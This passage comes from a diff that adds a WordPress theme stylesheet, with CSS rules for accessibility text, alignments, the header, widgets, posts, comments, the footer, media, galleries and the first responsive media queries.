+
+
+/**
+ * 7.0 Accessibility
+ */
+
+/* Text meant only for screen readers */
+.says,
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	height: 1px;
+	overflow: hidden;
+	position: absolute !important;
+	width: 1px;
+}
+
+/* must have higher specificity than alternative color schemes inline styles */
+.site .skip-link {
+	background-color: #f1f1f1;
+	box-shadow: 0 0 1px 1px rgba(0, 0, 0, 0.2);
+	color: #21759b;
+	display: block;
+	font: bold 14px/normal "Noto Sans", sans-serif;
+	left: -9999em;
+	outline: none;
+	padding: 15px 23px 14px;
+	text-decoration: none;
+	text-transform: none;
+	top: -9999em;
+}
+
+.logged-in .site .skip-link {
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	font: bold 14px/normal "Open Sans", sans-serif;
+}
+
+.site .skip-link:focus {
+	clip: auto;
+	height: auto;
+	left: 6px;
+	top: 7px;
+	width: auto;
+	z-index: 100000;
+}
+
+
+/**
+ * 8.0 Alignments
+ */
+
+.alignleft {
+	display: inline;
+	float: left;
+}
+
+.alignright {
+	display: inline;
+	float: right;
+}
+
+.aligncenter {
+	display: block;
+	margin-right: auto;
+	margin-left: auto;
+}
+
+blockquote.alignleft,
+.wp-caption.alignleft,
+img.alignleft {
+	margin: 0.4em 1.6em 1.6em 0;
+}
+
+blockquote.alignright,
+.wp-caption.alignright,
+img.alignright {
+	margin: 0.4em 0 1.6em 1.6em;
+}
+
+blockquote.aligncenter,
+.wp-caption.aligncenter,
+img.aligncenter {
+	clear: both;
+	margin-top: 0.4em;
+	margin-bottom: 1.6em;
+}
+
+.wp-caption.alignleft,
+.wp-caption.alignright,
+.wp-caption.aligncenter {
+	margin-bottom: 1.2em;
+}
+
+
+/**
+ * 9.0 Clearings
+ */
+
+.clear:before,
+.clear:after,
+.site:before,
+.site:after,
+.entry-content:before,
+.entry-content:after,
+.comment-content:before,
+.comment-content:after,
+.site-content:before,
+.site-content:after,
+.nav-links:before,
+.nav-links:after,
+.comment-navigation:before,
+.comment-navigation:after,
+.social-navigation ul:before,
+.social-navigation ul:after,
+.textwidget:before,
+.textwidget:after {
+	content: "";
+	display: table;
+}
+
+.clear:after,
+.site:after,
+.entry-content:after,
+.comment-content:after,
+.site-content:after,
+.nav-links:after,
+.comment-navigation:after,
+.social-navigation ul:after,
+.textwidget:after {
+	clear: both;
+}
+
+
+/**
+ * 10.0 Header
+ */
+
+.site-header {
+	background-color: #fff;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 7.6923%;
+}
+
+.site-branding {
+	min-height: 2em;
+	padding-right: 60px;
+	position: relative;
+}
+
+.site-title {
+	font-family: "Noto Sans", sans-serif;
+	font-size: 22px;
+	font-size: 2.2rem;
+	font-weight: 700;
+	line-height: 1.3636;
+	margin-bottom: 0;
+}
+
+.site-description {
+	display: none;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 400;
+	line-height: 1.5;
+	margin: 0.5em 0 0;
+	opacity: 0.7;
+}
+
+
+/**
+ * 11.0 Widgets
+ */
+
+.widget {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	margin: 0 auto 9.09090%;
+	width: 100%;
+	word-wrap: break-word;
+}
+
+.widget pre {
+	line-height: 1.2;
+}
+
+.widget button,
+.widget input,
+.widget select,
+.widget textarea {
+	font-size: 16px;
+	font-size: 1.6rem;
+	line-height: 1.5;
+}
+
+.widget button,
+.widget input {
+	line-height: normal;
+}
+
+.widget button,
+.widget input[type="button"],
+.widget input[type="reset"],
+.widget input[type="submit"] {
+	font-size: 12px;
+	font-size: 1.2rem;
+	padding: 0.7917em 1.5833em;
+}
+
+.widget input[type="text"],
+.widget input[type="email"],
+.widget input[type="url"],
+.widget input[type="password"],
+.widget input[type="search"],
+.widget textarea {
+	padding: 0.375em;
+}
+
+.widget-title {
+	color: #333;
+	font-family: "Noto Sans", sans-serif;
+	margin: 0 0 1.6em;
+	letter-spacing: 0.04em;
+	text-transform: uppercase;
+}
+
+.widget > :last-child {
+	margin-bottom: 0;
+}
+
+.widget_calendar table {
+	margin: 0;
+}
+
+.widget_calendar td,
+.widget_calendar th {
+	line-height: 2.3333;
+	text-align: center;
+	padding: 0;
+}
+
+.widget_calendar caption {
+	font-family: "Noto Serif", serif;
+	font-weight: 700;
+	margin: 0 0 1.6em;
+	letter-spacing: 0.04em;
+	text-transform: uppercase;
+}
+
+.widget_calendar tbody a {
+	-webkit-tap-highlight-color: rgba(255, 255, 255, 0.3);
+	background-color: #333;
+	color: #fff;
+	display: block;
+	font-weight: 700;
+}
+
+.widget_calendar tbody a:hover,
+.widget_calendar tbody a:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	color: #fff;
+}
+
+.widget_archive a,
+.widget_categories a,
+.widget_links a,
+.widget_meta a,
+.widget_nav_menu a,
+.widget_pages a,
+.widget_recent_comments a,
+.widget_recent_entries a {
+	border: 0;
+}
+
+.widget_archive ul,
+.widget_categories ul,
+.widget_links ul,
+.widget_meta ul,
+.widget_nav_menu ul,
+.widget_pages ul,
+.widget_recent_comments ul,
+.widget_recent_entries ul {
+	list-style: none;
+	margin: 0;
+}
+
+.widget_archive li,
+.widget_categories li,
+.widget_links li,
+.widget_meta li,
+.widget_nav_menu li,
+.widget_pages li,
+.widget_recent_comments li,
+.widget_recent_entries li {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 0.7667em 0;
+}
+
+.widget_archive li:first-child,
+.widget_categories li:first-child,
+.widget_links li:first-child,
+.widget_meta li:first-child,
+.widget_nav_menu li:first-child,
+.widget_pages li:first-child,
+.widget_recent_comments li:first-child,
+.widget_recent_entries li:first-child {
+	border-top: 0;
+	padding-top: 0;
+}
+
+.widget_archive li:last-child,
+.widget_categories li:last-child,
+.widget_links li:last-child,
+.widget_meta li:last-child,
+.widget_nav_menu li:last-child,
+.widget_pages li:last-child,
+.widget_recent_comments li:last-child,
+.widget_recent_entries li:last-child {
+	padding-bottom: 0;
+}
+
+.widget_categories .children,
+.widget_nav_menu .sub-menu,
+.widget_pages .children {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	margin: 0.7667em 0 0 0.8em;
+	padding-top: 0.7667em;
+}
+
+.widget_recent_entries .post-date {
+	display: block;
+}
+
+.widget_rss ul {
+	list-style: none;
+	margin: 0;
+}
+
+.widget_rss li {
+	margin-bottom: 1.6em;
+}
+
+.widget_rss ul:last-child,
+.widget_rss li:last-child {
+	margin-bottom: 0;
+}
+
+.widget_rss .rsswidget {
+	border: 0;
+	font-weight: 700;
+}
+
+.widget_rss .rsswidget img {
+	margin-top: -4px;
+}
+
+.widget_rss .rss-date,
+.widget_rss cite {
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-style: normal;
+	display: block;
+	line-height: 2;
+	opacity: 0.8;
+}
+
+.textwidget > :last-child {
+	margin-bottom: 0;
+}
+
+.textwidget a {
+	border-bottom: 1px solid #333;
+}
+
+.textwidget a:hover,
+.textwidget a:focus {
+	border-bottom: 0;
+}
+
+
+/**
+ * 12.0 Content
+ */
+
+.secondary {
+	background-color: #fff;
+	display: none;
+	padding: 0 7.6923%;
+}
+
+.secondary.toggled-on {
+	border-top: 1px solid transparent;
+	border-bottom: 1px solid transparent;
+	display: block;
+}
+
+.widget-area {
+	margin: 9.09090% auto 0;
+}
+
+.site-footer {
+	background-color: #fff;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 3.84615% 7.6923%;
+}
+
+
+/**
+ * 12.1 Posts and pages
+ */
+
+.hentry {
+	background-color: #fff;
+	padding-top: 7.6923%;
+	position: relative;
+}
+
+.hentry.has-post-thumbnail {
+	padding-top: 0;
+}
+
+.hentry.sticky:not(.has-post-thumbnail) {
+	padding-top: -webkit-calc(7.6923% + 24px);
+	padding-top: calc(7.6923% + 24px);
+}
+
+.hentry + .hentry {
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+.post-thumbnail {
+	border: 0;
+	display: block;
+	margin-bottom: 2.4em;
+}
+.post-thumbnail img {
+	display: block;
+	margin: 0 auto;
+}
+
+a.post-thumbnail:hover,
+a.post-thumbnail:focus {
+	opacity: 0.85;
+}
+
+.entry-header {
+	padding: 0 7.6923%;
+}
+
+.entry-title {
+	font-size: 26px;
+	font-size: 2.6rem;
+	line-height: 1.1538;
+	margin-bottom: 0.9231em;
+}
+
+.entry-content,
+.entry-summary {
+	padding: 0 7.6923% 7.6923%;
+}
+
+.entry-content > :last-child,
+.entry-summary > :last-child {
+	margin-bottom: 0;
+}
+
+.entry-content,
+.entry-summary,
+.page-content,
+.comment-content {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	word-wrap: break-word;
+}
+
+.entry-content h1,
+.entry-summary h1,
+.page-content h1,
+.comment-content h1 {
+	font-size: 26px;
+	font-size: 2.6rem;
+	line-height: 1.1538;
+	margin-top: 1.8462em;
+	margin-bottom: 0.9231em;
+}
+
+.entry-content h2,
+.entry-summary h2,
+.page-content h2,
+.comment-content h2 {
+	font-size: 22px;
+	font-size: 2.2rem;
+	line-height: 1.3636;
+	margin-top: 2.1818em;
+	margin-bottom: 1.0909em;
+}
+
+.entry-content h3,
+.entry-summary h3,
+.page-content h3,
+.comment-content h3 {
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+	margin-top: 2.6667em;
+	margin-bottom: 1.3333em;
+}
+
+.entry-content h4,
+.entry-content h5,
+.entry-content h6,
+.entry-summary h4,
+.entry-summary h5,
+.entry-summary h6,
+.page-content h4,
+.page-content h5,
+.page-content h6,
+.comment-content h4,
+.comment-content h5,
+.comment-content h6 {
+	font-size: 15px;
+	font-size: 1.5rem;
+	line-height: 1.2;
+	margin-top: 3.2em;
+	margin-bottom: 1.6em;
+}
+
+.entry-content h5,
+.entry-content h6,
+.entry-summary h5,
+.entry-summary h6,
+.page-content h5,
+.page-content h6,
+.comment-content h5,
+.comment-content h6 {
+	letter-spacing: 0.1em;
+	text-transform: uppercase;
+}
+
+.entry-content > h1:first-child,
+.entry-content > h2:first-child,
+.entry-content > h3:first-child,
+.entry-content > h4:first-child,
+.entry-content > h5:first-child,
+.entry-content > h6:first-child,
+.entry-summary > h1:first-child,
+.entry-summary > h2:first-child,
+.entry-summary > h3:first-child,
+.entry-summary > h4:first-child,
+.entry-summary > h5:first-child,
+.entry-summary > h6:first-child,
+.page-content > h1:first-child,
+.page-content > h2:first-child,
+.page-content > h3:first-child,
+.page-content > h4:first-child,
+.page-content > h5:first-child,
+.page-content > h6:first-child,
+.comment-content > h1:first-child,
+.comment-content > h2:first-child,
+.comment-content > h3:first-child,
+.comment-content > h4:first-child,
+.comment-content > h5:first-child,
+.comment-content > h6:first-child {
+	margin-top: 0;
+}
+
+.entry-content a,
+.entry-summary a,
+.page-content a,
+.comment-content a,
+.pingback .comment-body > a {
+	border-bottom: 1px solid #333;
+}
+
+.entry-content a:hover,
+.entry-content a:focus,
+.entry-summary a:hover,
+.entry-summary a:focus,
+.page-content a:hover,
+.page-content a:focus,
+.comment-content a:hover,
+.comment-content a:focus,
+.pingback .comment-body > a:hover,
+.pingback .comment-body > a:focus {
+	border-bottom: 0;
+}
+
+.entry-content a img,
+.entry-summary a img,
+.page-content a img,
+.comment-content a img {
+	display: block;
+}
+
+.entry-content .more-link,
+.entry-summary .more-link:after {
+	white-space: nowrap;
+}
+
+.entry-content .more-link:after,
+.entry-summary .more-link:after {
+	content: "\f429";
+	font-size: 16px;
+	position: relative;
+	top: 5px;
+}
+
+.author-info {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	margin: 0 7.6923%;
+	padding: 7.6923% 0;
+}
+
+.author-info .avatar {
+	float: left;
+	height: 36px;
+	margin: 0 1.6em 1.6em 0;
+	width: 36px;
+}
+
+.author-heading {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	letter-spacing: 0.04em;
+	margin-bottom: 1.5em;
+	text-transform: uppercase;
+}
+
+.author-title {
+	clear: none;
+}
+
+.author-bio {
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	overflow: hidden;
+	padding-bottom: 1px;
+}
+
+.author-description {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	word-wrap: break-word;
+}
+
+.author-description a {
+	border-bottom: 1px solid #333;
+}
+
+.author-description a:hover,
+.author-description a:focus {
+	border-bottom: 0;
+}
+
+.author-description > :last-child {
+	margin-bottom: 0;
+}
+
+.author-link {
+	white-space: nowrap;
+}
+
+.author-link:after {
+	content: "\f429";
+	position: relative;
+	top: 1px;
+}
+
+.entry-footer {
+	background-color: #f7f7f7;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	padding: 3.8461% 7.6923%;
+}
+
+.entry-footer a {
+	border-bottom: 1px solid transparent;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.entry-footer a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.entry-footer a:hover,
+.entry-footer a:focus {
+	color: #333;
+}
+
+.sticky-post {
+	background-color: #333;
+	color: #fff;
+	font-weight: 700;
+	letter-spacing: 0.04em;
+	padding: 0.25em 0.5em;
+	position: absolute;
+	top: 0;
+	text-transform: uppercase;
+}
+
+.updated:not(.published) {
+	display: none;
+}
+
+.sticky .posted-on {
+	display: none;
+}
+
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before {
+	margin-right: 2px;
+	position: relative;
+}
+
+.posted-on,
+.byline,
+.cat-links,
+.tags-links,
+.comments-link,
+.entry-format,
+.full-size-link {
+	margin-right: 1em;
+}
+
+.format-aside .entry-format:before {
+	content: "\f101";
+}
+
+.format-image .entry-format:before {
+	content: "\f473";
+}
+
+.format-gallery .entry-format:before {
+	content: "\f103";
+}
+
+.format-video .entry-format:before {
+	content: "\f104";
+}
+
+.format-status .entry-format:before {
+	content: "\f105";
+}
+
+.format-quote .entry-format:before {
+	content: "\f106";
+}
+
+.format-link .entry-format:before {
+	content: "\f107";
+}
+
+.format-chat .entry-format:before {
+	content: "\f108";
+}
+
+.format-audio .entry-format:before {
+	content: "\f109";
+}
+
+.posted-on:before {
+	content: "\f307";
+}
+
+.byline:before {
+	content: "\f304";
+}
+
+.cat-links:before {
+	content: "\f301";
+}
+
+.tags-links:before {
+	content: "\f302";
+}
+
+.comments-link:before {
+	content: "\f300";
+}
+
+.full-size-link:before {
+	content: "\f402";
+}
+
+.edit-link:before {
+	content: "\f411";
+}
+
+.comments-link,
+.edit-link {
+	white-space: nowrap;
+}
+
+.page-header {
+	background-color: #fff;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 7.6923%;
+}
+
+.page-title {
+	font-family: "Noto Serif", serif;
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+}
+
+.taxonomy-description {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	padding-top: 0.4em;
+}
+
+.taxonomy-description a {
+	border-bottom: 1px solid #333;
+}
+
+.taxonomy-description a:hover,
+.taxonomy-description a:focus {
+	border-bottom: 0;
+}
+
+.taxonomy-description > :last-child {
+	margin-bottom: 0;
+}
+
+.page-content {
+	background-color: #fff;
+	padding: 7.6923%;
+}
+
+.page-content > :last-child {
+	margin-bottom: 0;
+}
+
+.page-links {
+	clear: both;
+	font-family: "Noto Sans", sans-serif;
+	margin-bottom: 1.3333em;
+}
+
+.page-links a,
+.page-links > span {
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	display: inline-block;
+	font-size: 12px;
+	font-size: 1.2rem;
+	height: 2em;
+	line-height: 2;
+	margin: 0 0.3333em 0.3333em 0;
+	text-align: center;
+	width: 2em;
+}
+
+.page-links a {
+	-webkit-tap-highlight-color: rgba(255, 255, 255, 0.3);
+	background-color: #333;
+	border-color: #333;
+	color: #fff;
+}
+
+.page-links a:hover,
+.page-links a:focus {
+	background-color: #707070;
+	background-color: rgba(51, 51, 51, 0.7);
+	border-color: transparent;
+	color: #fff;
+}
+
+.page-links > .page-links-title {
+	border: 0;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	height: auto;
+	margin: 0;
+	padding-right: 0.5em;
+	width: auto;
+}
+
+.entry-attachment {
+	margin-bottom: 1.6em;
+}
+
+.type-attachment .entry-title {
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	word-wrap: break-word;
+}
+
+.entry-caption {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	-webkit-hyphens: auto;
+	-moz-hyphens: auto;
+	-ms-hyphens: auto;
+	hyphens: auto;
+	line-height: 1.5;
+	padding-top: 0.5em;
+	word-wrap: break-word;
+}
+
+.entry-caption > :last-child {
+	margin-bottom: 0;
+}
+
+
+/**
+ * 12.2 Post Formats
+ */
+
+.format-aside .entry-title,
+.format-image .entry-title,
+.format-video .entry-title,
+.format-quote .entry-title,
+.format-gallery .entry-title,
+.format-status .entry-title,
+.format-link .entry-title,
+.format-audio .entry-title,
+.format-chat .entry-title {
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+	margin-bottom: 1.3333em;
+}
+
+.format-link .entry-title a:after {
+	content: "\f442";
+	font-size: 24px;
+	height: 24px;
+	position: relative;
+	top: 0;
+	width: 24px;
+}
+
+.blog .format-status .entry-title,
+.archive .format-status .entry-title {
+	display: none;
+}
+
+
+/**
+ * 12.3 Comments
+ */
+
+.comments-area {
+	background-color: #fff;
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 7.6923%;
+}
+
+.comments-area > :last-child {
+	margin-bottom: 0;
+}
+
+.comment-list + .comment-respond {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+}
+
+.comment-list + .comment-respond,
+.comment-navigation + .comment-respond {
+	padding-top: 1.6em;
+}
+
+.comments-title,
+.comment-reply-title {
+	font-family: "Noto Serif", serif;
+	font-size: 18px;
+	font-size: 1.8rem;
+	line-height: 1.3333;
+}
+
+.comments-title {
+	margin-bottom: 1.3333em;
+}
+
+.comment-list {
+	list-style: none;
+	margin: 0;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	padding: 1.6em 0;
+}
+
+.comment-list .children {
+	list-style: none;
+	margin: 0;
+}
+
+.comment-list .children > li {
+	padding-left: 0.8em;
+}
+
+.comment-author {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	margin-bottom: 0.4em;
+}
+
+.comment-author a:hover {
+	border-bottom: 1px solid #707070;
+	border-bottom: 1px solid rgba(51, 51, 51, 0.7);
+}
+
+.comment-author .avatar {
+	float: left;
+	height: 24px;
+	margin-right: 0.8em;
+	width: 24px;
+}
+
+.bypostauthor > article .fn:after {
+	content: "\f304";
+	position: relative;
+	top: 5px;
+	left: 3px;
+}
+
+.comment-metadata,
+.pingback .edit-link {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+}
+
+.comment-metadata a,
+.pingback .edit-link a {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.comment-metadata a:hover,
+.pingback .edit-link a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.comment-metadata a:hover,
+.comment-metadata a:focus,
+.pingback .edit-link a:hover,
+.pingback .edit-link a:focus {
+	color: #333;
+}
+
+.comment-metadata {
+	margin-bottom: 1.6em;
+}
+
+.comment-metadata .edit-link {
+	margin-left: 1em;
+}
+
+.pingback .edit-link {
+	margin-left: 1em;
+}
+
+.pingback .edit-link:before {
+	top: 5px;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 0 1.6em 1.3333em;
+}
+
+.comment-content li > ul,
+.comment-content li > ol {
+	margin-bottom: 0;
+}
+
+.comment-content > :last-child {
+	margin-bottom: 0;
+}
+
+.comment-list .reply {
+	font-size: 12px;
+	font-size: 1.2rem;
+}
+
+.comment-list .reply a {
+	border: 1px solid #eaeaea;
+	border: 1px solid rgba(51, 51, 51, 0.1);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	display: inline-block;
+	font-family: "Noto Sans", sans-serif;
+	font-weight: 700;
+	line-height: 1;
+	margin-top: 2em;
+	padding: 0.4167em 0.8333em;
+	text-transform: uppercase;
+}
+
+.comment-list .reply a:hover,
+.comment-list .reply a:focus {
+	border-color: #333;
+	color: #333;
+	outline: 0;
+}
+
+.comment-form {
+	padding-top: 1.6em;
+}
+
+.comment-form label {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	font-weight: 700;
+	display: block;
+	letter-spacing: 0.04em;
+	line-height: 1.5;
+	text-transform: uppercase;
+}
+
+.comment-form input[type="text"],
+.comment-form input[type="email"],
+.comment-form input[type="url"],
+.comment-form input[type="submit"] {
+	width: 100%;
+}
+
+.comment-notes,
+.comment-awaiting-moderation,
+.logged-in-as,
+.form-allowed-tags {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	margin-bottom: 2em;
+}
+
+.logged-in-as a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.no-comments {
+	border-top: 1px solid #eaeaea;
+	border-top: 1px solid rgba(51, 51, 51, 0.1);
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-weight: 700;
+	padding-top: 1.6em;
+}
+
+.comment-navigation + .no-comments {
+	border-top: 0;
+}
+
+.form-allowed-tags code {
+	font-family: Inconsolata, monospace;
+}
+
+.form-submit {
+	margin-bottom: 0;
+}
+
+.required {
+	color: #c0392b;
+}
+
+.comment-reply-title small {
+	font-size: 100%;
+}
+
+.comment-reply-title small a {
+	border: 0;
+	float: right;
+	height: 32px;
+	overflow: hidden;
+	width: 26px;
+}
+
+.comment-reply-title small a:before {
+	content: "\f405";
+	font-size: 32px;
+	position: relative;
+	top: -3px;
+}
+
+
+/**
+ * 13.0 Footer
+ */
+
+.site-info {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+}
+
+.site-info a {
+	border-bottom: 1px solid transparent;
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+}
+
+.site-info a:hover {
+	border-bottom: 1px solid #333;
+}
+
+.site-info a:hover,
+.site-info a:focus {
+	color: #333;
+}
+
+
+/**
+ * 14.0 Media
+ */
+
+.site .avatar {
+	border-radius: 50%;
+}
+
+.page-content img.wp-smiley,
+.entry-content img.wp-smiley,
+.comment-content img.wp-smiley {
+	border: none;
+	margin-top: 0;
+	margin-bottom: 0;
+	padding: 0;
+}
+
+audio,
+canvas {
+	display: inline-block;
+}
+
+embed,
+iframe,
+object,
+video {
+	margin-bottom: 1.6em;
+	max-width: 100%;
+	vertical-align: middle;
+}
+
+p > embed,
+p > iframe,
+p > object,
+p > video {
+	margin-bottom: 0;
+}
+
+.wp-audio-shortcode,
+.wp-video,
+.wp-playlist.wp-audio-playlist {
+	font-size: 15px;
+	font-size: 1.5rem;
+	margin-top: 0;
+	margin-bottom: 1.6em;
+}
+
+.wp-playlist.wp-playlist {
+	padding-bottom: 0;
+}
+
+.wp-playlist .wp-playlist-tracks {
+	margin-top: 0;
+}
+
+.wp-playlist-item .wp-playlist-caption {
+	border-bottom: 0;
+	padding: 10px 0;
+}
+
+.wp-playlist-item .wp-playlist-item-length {
+	top: 10px;
+}
+
+
+/**
+ * 14.1 Captions
+ */
+
+.wp-caption {
+	margin-bottom: 1.6em;
+	max-width: 100%;
+}
+
+.wp-caption img[class*="wp-image-"] {
+	display: block;
+	margin: 0;
+}
+
+.wp-caption-text {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	padding: 0.5em 0;
+}
+
+
+/**
+ * 14.2 Galleries
+ */
+
+.gallery {
+	margin-bottom: 1.6em;
+}
+
+.gallery-item {
+	display: inline-block;
+	padding: 1.79104477%;
+	text-align: center;
+	vertical-align: top;
+	width: 100%;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 50%;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 33.33%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 25%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 20%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 16.66%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 14.28%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 12.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 11.11%;
+}
+
+.gallery-icon img {
+	margin: 0 auto;
+}
+
+.gallery-caption {
+	color: #707070;
+	color: rgba(51, 51, 51, 0.7);
+	display: block;
+	font-family: "Noto Sans", sans-serif;
+	font-size: 12px;
+	font-size: 1.2rem;
+	line-height: 1.5;
+	padding: 0.5em 0;
+}
+
+.gallery-columns-6 .gallery-caption,
+.gallery-columns-7 .gallery-caption,
+.gallery-columns-8 .gallery-caption,
+.gallery-columns-9 .gallery-caption {
+	display: none;
+}
+
+
+/**
+ * 15.0 Media Queries
+ */
+
+/*
+ * Does the same thing as <meta name="viewport" content="width=device-width">,
+ * but in the future W3C standard way. -ms- prefix is required for IE10+ to
+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+
+@viewport {
+	width: device-width;
+}
+
+/**
+ * 15.1 Mobile Large 620px
+ */
+
+@media screen and (min-width: 38.75em) {
+	ul,
+	ol {
+		margin-left: 0;
+	}
+
+	li > ul,
+	li > ol,
+	blockquote > ul,
+	blockquote > ol {
+		margin-left: 1.3333em;
+	}
+
+	blockquote {
+		margin-left: -1em;
+	}
+
+	blockquote > blockquote {
+		margin-left: 0;
+	}
+
+	.site-branding {
+		min-height: 3.2em;
+	}
+
+	.site-title {
+		font-size: 22px;
+		font-size: 2.2rem;
+		line-height: 1.0909;
+	}
+
+	.site-description {
+		display: block;
+	}
+
+	.secondary {
+		margin: 7.6923% 7.6923% 0;
+		padding: 7.6923% 7.6923% 0;
+	}
+
+	.main-navigation {
+		margin-bottom: 11.1111%;
+	}
+
+	.main-navigation ul {
+		border-top: 1px solid rgba(51, 51, 51, 0.1);
+		border-bottom: 1px solid rgba(51, 51, 51, 0.1);
+	}
+
+	.main-navigation ul ul {
+		border-top: 0;
+		border-bottom: 0;
+	}
+
+	.social-navigation {
+		margin-bottom: 11.1111%;
+	}
+
+	.social-navigation {
+		margin-top: 0;
+	}
+
+	.widget-area {
+		margin-top: 0;
+	}
+
+	.widget {
+		margin-bottom: 11.1111%;
+	}
+
+	.site-main {
+		padding: 7.6923% 0;
+	}
+
+	.hentry.sticky:not(.has-post-thumbnail) {
+		padding-top: inherit;
+	}
+
+	.hentry,
+	.page-header,
+	.page-content {
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 0 7.6923%;
+	}
+
+	.hentry + .hentry,
+	.page-header + .hentry,
+	.page-header + .page-content {
+		margin-top: 7.6923%;
+	}
+
+	.hentry + .hentry {
+		border-top: 0;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.4em;
+	}
+
+	.entry-header {
+		padding: 0 9.0909%;
+	}
+
+	.entry-content,
+	.entry-summary {
+		padding: 0 9.0909% 9.0909%;
+	}
+
+	.entry-footer {
+		padding: 4.5454% 9.0909%;
+	}
+
+	.page-header {
+		border-bottom: 0;
+		border-left: 7px solid #333;
+		padding: 3.8461% 7.6923%;
+	}
+
+	.page-title,
+	.taxonomy-description {
+		margin-left: -7px;
+	}
+
+	.page-content {
+		padding: 9.0909%;
+	}
+
+	.site-footer {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 0 7.6923%;
+		padding: 3.84615% 7.6923%;
+	}
+
+	.post-navigation {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923% 7.6923% 0;
+	}
+
+	.post-navigation a {
+		padding: 4.5454% 9.0909%;
+	}
+
+	.pagination {
+		border-top: 0;
+		box-shadow: 0 0 1px rgba(0, 0, 0, 0.15);
+		margin: 7.6923% 7.6923% 0;
+		padding: 0;
+	}
+
+	/* restore screen-reader-text */
+	.pagination .current .screen-reader-text {
